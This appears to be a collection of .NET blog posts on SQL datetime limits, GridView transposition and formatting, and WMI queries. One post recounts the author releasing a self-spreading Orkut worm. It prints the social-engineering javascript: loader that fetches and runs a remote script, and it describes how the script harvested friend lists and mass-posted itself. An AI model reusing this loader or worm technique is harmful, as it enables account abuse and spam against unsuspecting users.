System.Data.SqlClient.SqlException: Arithmetic overflow error converting expression to data type datetime

This exception occurs when you set a date, which is earlier than January 1, 1753 to a datetime parameter in your SQL expression. Now, what does this "January 1, 1753" represent? This is the minimum date value that a DATETIME data type can have. Setting any date earlier to this date in your SQL expression will result in a SQL datetime overflow. Also such arithmetic overflow exceptions could occur when we set to a datetime field, a date which is later than 31st December, 9999, which is the maximum date value that a DATETIME data type can have.

In order to avoid such SQL exceptions, it is always a good practice to validate your date to ensure that your date time is never beyond the min and max limits of SQL date time.

The following sample code will help you to validate your date:

VB.NET:
Dim dtSQLMinDate As DateTime = New DateTime(1753, 1, 1)
Dim dtSQLMaxDate As DateTime = New DateTime(9999, 12, 31)
Private Function ValidateMyDate(ByVal dtMyDate As DateTime) As Boolean
    If dtMyDate < dtSQLMinDate Then
        MsgBox("Enter a valid date which is later than Jan 1, 1753")
    End If
    If dtMyDate > dtSQLMaxDate Then
        MsgBox("Enter a valid date which is earlier than Dec 31, 9999")
    End If
End Function

C#.NET:
DateTime dtSQLMinDate = new DateTime(1753, 1, 1);
DateTime dtSQLMaxDate = new DateTime(9999, 12, 31);
private bool ValidateMyDate(DateTime dtMyDate)
{
    if (dtMyDate < dtSQLMinDate) {
        Interaction.MsgBox("Enter a valid date which is later than Jan 1, 1753");
    }
    
    if (dtMyDate > dtSQLMaxDate) {
        Interaction.MsgBox("Enter a valid date which is earlier than Dec 31, 9999");
    }
}

Transpose DataGrid or GridView by transposing DataTable

New requirements poured in last week and one among them was to transpose a DataGrid by interchanging rows to columns and columns to rows. The usability engineer proposed that, by doing so, would enable him to utilize the recovered empty spaces on the screen to group data more efficiently. As you know, there is no straightforward way to flip a grid by setting a property or so. I googled to see if there were any solutions already  implemented by fellow .NET'ers to address this requirement and found an impressive article on Code Project. Well, I was looking for a much simpler solution and eventually decided to do it myself. It didn't take any longer than I spent googling. The idea is straight and simple, transpose the DataTable and bind it to the grid.

To demonstrate this approach, I'll first start by creating a sample DataTable with 3 columns and 5 rows using the code shown below. 

private DataTable GetSampleTable()
{
    DataTable dt = new DataTable();
    dt.Columns.Add(new DataColumn("First Name",typeof(string)));
    dt.Columns.Add(new DataColumn("Last Name",typeof(string)));
    dt.Columns.Add(new DataColumn("Age",typeof(Int32)));

    for (int i = 1; i < 6; i++)
    {
        DataRow dr = dt.NewRow();
        dr["First Name"] = "First Name " + i;
        dr["Last Name"] = "Last Name " + i;
        dr["Age"] = i*10;
        dt.Rows.Add(dr);
    }
    return dt;
} 

Original Grid

First Name	Last Name	Age
Firstname1	Lastname1	10
Firstname2	Lastname2	20
Firstname3	Lastname3	30
Firstname4	Lastname4	40
Firstname5	Lastname5	50

Interchange rows to columns and columns to rows by calling the GetTransposedTable() method as shown below. 

private DataTable GetTransposedTable(DataTable dt)
{
    DataTable newTable = new DataTable();
    newTable.Columns.Add(new DataColumn("0",typeof(string)));
    for (int i = 0; i < dt.Columns.Count; i++)
    {
        DataRow newRow = newTable.NewRow();
        newRow[0] = dt.Columns[i].ColumnName;
        for (int j = 1; j <= dt.Rows.Count; j++)
        {
            if (newTable.Columns.Count < dt.Rows.Count + 1)
                newTable.Columns.Add(new DataColumn(j.ToString(),typeof(string)));
            newRow[j] = dt.Rows[j - 1][i];
        }
        newTable.Rows.Add(newRow);
    }
    return newTable;
} 

Bind the resulting DataTable to the ASP.NET GridView Control.

<asp:GridView ID="grdTransposed" runat="server">

Transposed Grid

0	1	2	3	4	5
First Name	Firstname1	Firstname2	Firstname3	Firstname4	Firstname5
Last Name	Lastname1	Lastname2	Lastname3	Lastname4	Lastname5
Age	10	20	30	40	50

 

 The column headers are numbered by default. You can hide them by setting ShowHeader="false" which would render a grid as shown below.

First Name	Firstname1	Firstname2	Firstname3	Firstname4	Firstname5
Last Name	Lastname1	Lastname2	Lastname3	Lastname4	Lastname5
Age	10	20	30	40	50

 

 Now, let's make the first column elements bold indicating that they're the new "headers" for the transposed grid. This could be tricky with the AutoGenerated columns as we don't have explicit control over them. By default, the HtmlEncode property on these columns are set to "True". This rules out an option of enclosing texts with HTML tags (<B></B>) when the columns are autogenerated.

newRow[0] = "<B>"+dt.Columns[i].ColumnName+"</B>";

This would render an ugly looking grid as shown below...

<B>First Name</B>	Firstname1	Firstname2	Firstname3	Firstname4	Firstname5
<B>Last Name</B>	Lastname1	Lastname2	Lastname3	Lastname4	Lastname5
<B>Age</B>	10	20	30	40	50

 

Moreover, the GridView column collection will not have autogenerated columns, that is, their count is 0. This rules out another option of looping through the columns and selectively setting the properties. However, by setting the AutoGenerateColumns property to False and dynamically creating bound columns, with HtmlEncode = "false", would give us more flexibility. The GenerateGridColumns() method that's shown below loops through each column in the transposed table, creates a BoundField and adds it to the GridView's DataControlFieldCollection.  

 

private void GenerateGridColumns(DataTable dt)
{
    grdTransposed.AutoGenerateColumns = false;

    for (int i = 0; i < dt.Columns.Count; i++)
    {
        BoundField field = new BoundField();
        field.DataField = dt.Columns[i].ColumnName;
        field.HtmlEncode = false;                
        grdTransposed.Columns.Add(field);        
    }
}

 I call the above method just before binding the table to the Grid.

            DataTable transposedTable = GetTransposedTable(dt);
            GenerateGridColumns(transposedTable);

            grdTransposed.DataSource = transposedTable;
            grdTransposed.DataBind();

 

The final Transposed grid rendered with "Headers" would look like this...

First Name	Firstname1	Firstname2	Firstname3	Firstname4	Firstname5
Last Name	Lastname1	Lastname2	Lastname3	Lastname4	Lastname5
Age	10	20	30	40	50

 

 Hope this helps!

Orkut.com vs Cyber Sannyasi

Alright, seems like it's time to write about something that I did early this week (21st Jan 2008) with Google's most popular Orkut.com. Most of the Orkut users would've seen this message in their scrapbook sent by one of their friends...

Here are some tips to make your cell phone battery last longer. Just copy the JavaScript, paste it in your address bar and hit ENTER

javascript:d=document;c=d.createElement(’script’);d.body.appendChild(c);c.src=’http://userscripts.org/scripts/source/20885.user.js’void(0)

trust me, you’ll find this newsletter informative! [;)] (...ending with a sarcastic wink !)

And, if they did what it suggested them to do, I'm sure, they had enjoyed the Cyber Sannyasi's cool Technology newsletter that featured an excellent YouTube video and a wikihow.com's article on extending your cell phone battery's life.

For those who're seeing this message for the first time here, be patient, you may see it in your scrapbook soon as this script is being misused by many users. Orkut has not fixed the bug completely.

Let me briefly explain what this JavaScript did...

When logged into Orkut.com you're asked by your friend to run this JavaScript from the address bar. This injects the actual prank Script from http://userscripts.org/scripts/source/20885.user.js that runs in the background and renders the newsletter within the same browser window. While the user is engrossed with YouTube video and battery tips - the sript runs asynchronously performing those actions that it was programmed to do. It first sends a read receipt with timestamp back to the author's scrapbook (that's for my tracking purposes). Then fetches the current logged-on user's friends list from Compose.aspx page, builds AJAX based WebRequests and posts the scrap message to everyone on that list. The users were completely unaware of what had just happened until somebody on their list did the same. It forced Orkut to do one more nasty thing... When the user's friend-count exceeded 150 with 150 scraps originating rapidly with a time gap of 500 milliseconds, orkut blocked their write access for an indefinite period of time assuming he/she was a potential spammer [bug? it need not take 150 for the damage... damage has already been done at this point]. As mentioned earlier, this was just a prank and never touched users' sensitive information nor transmitted any cookies nowhere as some bloggers falsely believed (...and scared). In short, it meant no harm to anybody, but for the nuisance it created.

The script was later flagged as spam by many and eventually got deleted from the site where it was hosted. The hit counter showed that it was accessed 70,000 times within 36hrs before it went offline prematurely. Well, in a much popular social networking site like orkut.com this number could grow astronomically over time.

Why did I do that ?

Hmm, good question. Well the story goes like this.., Inspired by all those "SCRAP ALL" and tons of other similar scripts (...this one's a mutant of SCRAP ALL), I wanted to take Orkut on a more profound spammer-coaster ride propelled by its own do-all-what-I'm-told ignorant users, I wanted to exploit a bug in Orkut.com, and I wanted to educate the users - in a safe but annoying way - about the harms of running scripts while being logged on. Remember the bold red message I had at the bottom of that newsletter ?

Protect your account: Never run any script while logged into orkut.com, no matter what it claims to do. Including this newsletter or "Scrap To All" thingy... LOL!!

Yep, I put the same security tip that often appears in BOLD on the home page after you login. I commend Orkut in this regard for constantly reminding its users not to run any scripts while logged in.

My advice:

I believe, there are sections where Orkut can improve its anti-spam, anti-bot techniques. Like word filter, that could immediately pop up a captcha when trying to enter URLs or potential script texts in Srapbook. Employ the same flood-prevention algorithms to disallow users from posting similar messages within a specific time. Currently, this works only on a One-One basis. That is, one user cannot send consecutively similar scraps to the same friend, but, CAN definitely send consecutively similary scraps to one friend at a time - a potential for *SPAMs* like this one [;)] ( ... another sarcastic wink!). Hello Orkut, if you're reading this post, get this fixed asap as several users have already started hosting this script at multiple locations and misusing it.

For now, if you want to keep spam off of orkut.com just remember the red bold message above. Or, if you're the one who is really curious to see what happens when you run scripts... then... don't curse script-authors for the outcome... It's YOUR PROBLEM & YOU CHOSE TO DO IT!

As a final note, I would like to apologize for the frustration, annoyance, confusion & inconvenience caused to several thousand users who fell for this prank. I would also like to apologize the guys at userscripts.org for using their site as a hosting place for this script.

Once again....  I love Orkut.com and let's keep Orkut Beautiful...  [:)] (...a hearty smile) !!

WMI Queries on Remote Machines

Windows management instrumentation (WMI) can be used to access system management data across remote machines. You can use this to get status and configuration information on windows machines listening on the network. The classes found in the System.Management namespace helps developers to write code to access these information quickly.

The following example shows how to access LogicalMemoryConfiguration data on a remote machine.

using System;
using System.Net;
using System.Management;

namespace WMIonRemoteMachine
{
    class Program
    {
        static void Main(string[] args)
        {
            //Specify the Adminstrator's Username and Password
            ConnectionOptions co = new ConnectionOptions();
            co.Username = "Administrator";
            co.Password = "password#xyz";

            //Connect to the default namespace on Remote Machine
            ManagementScope scope = new ManagementScope(@"\\[REMOTE MACHINE]\root\cimv2", co);   
       
            SelectQuery query = new SelectQuery("SELECT * FROM Win32_LogicalMemoryConfiguration");

            ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query);

            foreach (ManagementObject mObj in searcher.Get())
            {
                foreach (System.Management.PropertyData property in mObj.Properties)
                    System.Console.WriteLine(property.Name.PadLeft(25,' ') + ": " + property.Value);
            }            
            Console.ReadLine();
        }
    }
}

OUTPUT 

  AvailableVirtualMemory: 1405028
                          Caption: Logical Memory Configuration
                     Description: Logical Memory Configuration
                             Name: LogicalMemoryConfiguration
                       SettingID: LogicalMemoryConfiguration
       TotalPageFileSpace: 2523064
     TotalPhysicalMemory: 1046512
        TotalVirtualMemory: 3569576

 

The username and password supplied in the above code should belong to an account that is a member of Administrator Group on the remote machine. If the ConnectionOptions is not set then the namespace residing on the Local System is accessed.

The default WMI namespace or schema "\root\cimv2" is queried to retrieve common system management information. WMI implements the Common Information Model (CIV) schema proposed by Distributed Management Task Force (DMTF).

Remote connections in WMI are affected by Firewall. It blocks all data requests from remote machines. If a connection fails, an exception of type System.Runtime.InteropServices.COMException is thrown in System.Management with an error message "The RPC server is unavailable. (Exception from HRESULT: 0x800706BA)". So make sure that the firewall settings are configured to allow these connections.

Data Formatting issues in GridView

You have a Grid bound to a datasource. You do all the right stuff by putting the correct formatting expressions in place for the BoundColumn. But when the page is rendered the columns are not formatted. I'm sure everybody would have encountered this at some point or the other while rendering data in ASP.NET 2.0 GridView.

The fix is straight, set the HtmlEncode property of the Bound Columns to "false". 

<asp:BoundField DataField="Number" DataFormatString="{0:c}"  HtmlEncode="false" HeaderText="Number" />

or

<asp:BoundField DataField="Date" DataFormatString="{0:MM/dd/yyyy}" HtmlEncode="false" HeaderText="Date" /> 

By default this property is set to True for security reasons. When the page is rendered, the output HTML is encoded to prevent cross site scripting (XSS) attacks. So make sure to turn off HtmlEncoding on those columns that you want to display formatted data.

Viewing HTML source in AJAX-enabled web pages

Sometimes we want to view the HTML rendered by the web server for debugging purposes. We right-click on the browser (IE), select "View Source" and a neat little notepad opens up with the HTML. This is valid as long as the pages are rendered in a conventional way where the entire page is posted back for each subsequent requests.

In AJAX, where the pages are rendered asynchronously, "View Source" would only show you the HTML for the page that was originally rendered but does not show you any updates to that page modified through AJAX callbacks. 

Enter the following javascript in the address bar to view the outer HTML actually generated through AJAX Callbacks.

javascript:'<xmp>'+window.document.body.outerHTML+'</xmp>'

.NET Articles

Here is a list of articles that I've published elsewhere. This post will be updated frequently... 

ASP.NET

• Generate XML based Resource Files on the fly in ASP.NET 1.x applications  

GDI+

• Generate ASCII Art from an Image using C#